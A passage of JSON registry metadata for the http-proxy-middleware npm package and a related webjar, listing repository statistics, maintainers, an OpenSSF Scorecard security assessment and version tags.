unding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-03-07T02:25:53.474Z","issues_count":134,"pull_requests_count":268,"avg_time_to_close_issue":10873844.578125,"avg_time_to_close_pull_request":4257425.956896552,"issues_closed_count":64,"pull_requests_closed_count":232,"pull_request_authors_count":42,"issue_authors_count":129,"avg_comments_per_issue":4.843283582089552,"avg_comments_per_pull_request":1.3246268656716418,"merged_pull_requests_count":188,"bot_issues_count":0,"bot_pull_requests_count":16,"past_year_issues_count":15,"past_year_pull_requests_count":88,"past_year_avg_time_to_close_issue":306048.3333333333,"past_year_avg_time_to_close_pull_request":54242.293333333335,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":75,"past_year_pull_request_authors_count":10,"past_year_issue_authors_count":14,"past_year_avg_comments_per_issue":0.5333333333333333,"past_year_avg_comments_per_pull_request":1.3863636363636365,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":65,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/issues","maintainers":[{"login":"chimurai","count":189,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}],"active_maintainers":[{"login":"chimurai","count":70,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/nesto-http-proxy-middleware/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/nesto-http-proxy-middleware/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/nesto-http-proxy-middleware/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/nesto-http-proxy-middleware/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/nesto-http-proxy-middleware/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/nesto-http-proxy-middleware/codemeta","maintainers":[{"uuid":"martinloeper","login":"martinloeper","name":null,"email":"martin.loeper@nesto-software.de","url":null,"packages_count":29,"html_url":"https://www.npmjs.com/~martinloeper","role":null,"created_at":"2022-11-13T10:51:07.471Z","updated_at":"2022-11-13T10:51:07.471Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/martinloeper/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5666668,"maintainers_count":1207881,"namespaces_count":399623,"keywords_count":847874,"github":"npm","metadata":{"funded_packages_count":171745},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-06-10T05:11:46.456Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":5001176,"name":"org.webjars.npm:http-proxy-middleware","ecosystem":"maven","description":"WebJar for http-proxy-middleware","homepage":"https://www.webjars.org","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","keywords_array":[],"namespace":"org.webjars.npm","versions_count":3,"first_release_published_at":"2018-02-04T14:37:45.000Z","latest_release_published_at":"2019-03-25T11:32:20.000Z","latest_release_number":"0.19.1","last_synced_at":"2026-07-10T15:01:54.596Z","created_at":"2022-07-27T10:59:38.855Z","updated_at":"2026-07-10T15:01:54.596Z","registry_url":"https://central.sonatype.com/artifact/org.webjars.npm/http-proxy-middleware/","install_command":null,"documentation_url":"https://appdoc.app/artifact/org.webjars.npm/http-proxy-middleware/","metadata":{"repositories":["https://repo.maven.apache.org/maven2"]},"repo_metadata":{"id":28698813,"uuid":"32219142","full_name":"chimurai/http-proxy-middleware","owner":"chimurai","description":":zap: The one-liner node.js http-proxy middleware for connect, express, next.js and more","archived":false,"fork":false,"pushed_at":"2025-09-20T16:22:09.000Z","size":3688,"stargazers_count":11069,"open_issues_count":115,"forks_count":873,"subscribers_count":115,"default_branch":"master","last_synced_at":"2025-09-27T10:45:25.602Z","etag":null,"topics":["browser-sync","connect","express","fastify","http-proxy","javascript","middleware","nextjs","node","nodejs","polka","proxy","proxy-middleware","websocket"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/chimurai.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2015-03-14T15:45:55.000Z","updated_at":"2025-09-25T05:48:26.000Z","dependencies_parsed_at":"2024-01-29T07:26:28.290Z","dependency_job_id":"e012536a-e7a3-412b-8b41-8d0dc756008c","html_url":"https://github.com/chimurai/http-proxy-middleware","commit_stats":{"total_commits":439,"total_committers":40,"mean_commits":10.975,"dds":0.4829157175398633,"last_synced_commit":"77f320e4dca8247167471393dcbce2b1e333b7cf"},"previous_names":[],"tags_count":74,"template":false,"template_full_name":null,"purl":"pkg:github/chimurai/http-proxy-middleware","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/sbom","scorecard":{"id":277788,"data":{"date":"2025-08-11","repo":{"name":"github.com/chimurai/http-proxy-middleware","commit":"e7ae0098ebdbbdf77c0c23e84d2208cb7fc35cea"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/publish.yml:11","Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/publish.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":6,"reason":"8 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:194: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:195: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:100: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:102: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:106: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:134: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:140: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:164: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:166: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:186: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Info:   0 out of  21 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/publish.yml:6"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Branch-Protection","score":1,"reason":"branch protection is not maximal on development and all release branches","details":["Warn: branch protection not enabled for branch '2.x'","Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Info: 'branch protection settings apply to administrators' is required to merge on branch 'master'","Warn: 'stale review dismissal' is disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Warn: 'last push approval' is disabled on branch 'master'","Info: status check found to merge onto on branch 'master'","Info: PRs are required in order to make changes on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":5,"reason":"5 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-xffm-g5w8-qvg7","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-17T14:57:40.637Z","repository_id":28698813,"created_at":"2025-08-17T14:57:40.637Z","updated_at":"2025-08-17T14:57:40.637Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":278470180,"owners_count":25992203,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-05T02:00:06.059Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"chimurai","name":"Steven Chim","uuid":"655241","kind":"user","description":"","email":"","website":null,"location":"Planet Earth, Milky Way","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/655241?v=4","repositories_count":20,"last_synced_at":"2024-04-23T19:43:31.983Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/chimurai","funding_links":[],"total_stars":10470,"followers":158,"following":30,"created_at":"2022-11-02T16:21:00.461Z","updated_at":"2024-04-23T19:43:38.219Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai/repositories"},"tags":[{"name":"v2.0.9","sha":"617a7c9da9cc90ecc00b0c8b1c2f6a385c879cb1","kind":"commit","published_at":"2025-04-10T12:10:53.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.9","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.9/manifests"},{"name":"v3.0.5","sha":"d3851ed0075298ea2477d4221809f5875781b66f","kind":"commit","published_at":"2025-04-10T12:10:24.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.5","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.5/manifests"},{"name":"v3.0.4","sha":"01934d33b157b2d49f7099a18ceec165e7502040","kind":"commit","published_at":"2025-04-09T19:30:50.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.4","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.4/manifests"},{"name":"v2.0.8","sha":"d03d51b54ac8d40db8438a8b216cf1ea92bb7849","kind":"commit","published_at":"2025-04-09T19:30:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.8","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.8/manifests"},{"name":"v2.0.7","sha":"1e9233909839962bb3c1980848ad499b4757a71d","kind":"commit","published_at":"2024-10-06T17:22:45.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.7","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7/manifests"},{"name":"v3.0.3","sha":"43f38836b5ff00a6e46ae357dfd071361fa93ca1","kind":"commit","published_at":"2024-10-06T17:16:34.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.3","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.3/manifests"},{"name":"v2.0.7-beta.1","sha":"0b4274e8cc9e9a2c5a06f35fbf456ccfcebc55a5","kind":"commit","published_at":"2024-10-06T16:58:31.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.7-beta.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.7-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.7-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7-beta.1/manifests"},{"name":"v2.0.7-beta.0","sha":"1bd6dd578b1326ed7979c301e3f8eb0f228f5b6f","kind":"commit","published_at":"2024-10-06T12:14:38.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.7-beta.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.7-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.7-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7-beta.0/manifests"},{"name":"v3.0.2","sha":"6fae40dd77214f1ed961b7b0b56450a22d5c290f","kind":"commit","published_at":"2024-09-03T20:19:57.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.2/manifests"},{"name":"v3.0.1","sha":"06ee9054093e8ce7b85a24fc72937f97720c205d","kind":"commit","published_at":"2024-08-31T19:40:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1/manifests"},{"name":"v3.0.1-beta.1","sha":"897611af512ffaf6add1601585952356fde8aec5","kind":"commit","published_at":"2024-07-19T16:51:05.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.1-beta.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.1-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.1-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1-beta.1/manifests"},{"name":"v3.0.1-beta.0","sha":"f424cefc67c6f3430e81f285d7578e96486e39fa","kind":"commit","published_at":"2024-04-20T18:05:20.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.1-beta.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.1-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.1-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1-beta.0/manifests"},{"name":"v3.0.0","sha":"84bfa46fc7174f46b9f24c1e7a7a1a977f0993f3","kind":"commit","published_at":"2024-04-01T21:32:08.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0/manifests"},{"name":"v3.0.0-beta.1","sha":"47b7e018f614bcdc06f72c4fdbac3a91ba3b5bb7","kind":"commit","published_at":"2023-03-03T22:26:55.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.0-beta.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0-beta.1/manifests"},{"name":"v3.0.0-beta.0","sha":"4c136abf0a1e433e1293739cb1c22e533b81275a","kind":"commit","published_at":"2022-04-22T17:32:47.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.0-beta.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.0-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.0-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0-beta.0/manifests"},{"name":"v2.0.6","sha":"c08cb1e13b8d8c63b517953156444c9b1ce140eb","kind":"commit","published_at":"2022-04-20T19:54:25.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.6","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.6/manifests"},{"name":"v2.0.5","sha":"f64c99489526c355a96f6e32709da9299175d4e9","kind":"commit","published_at"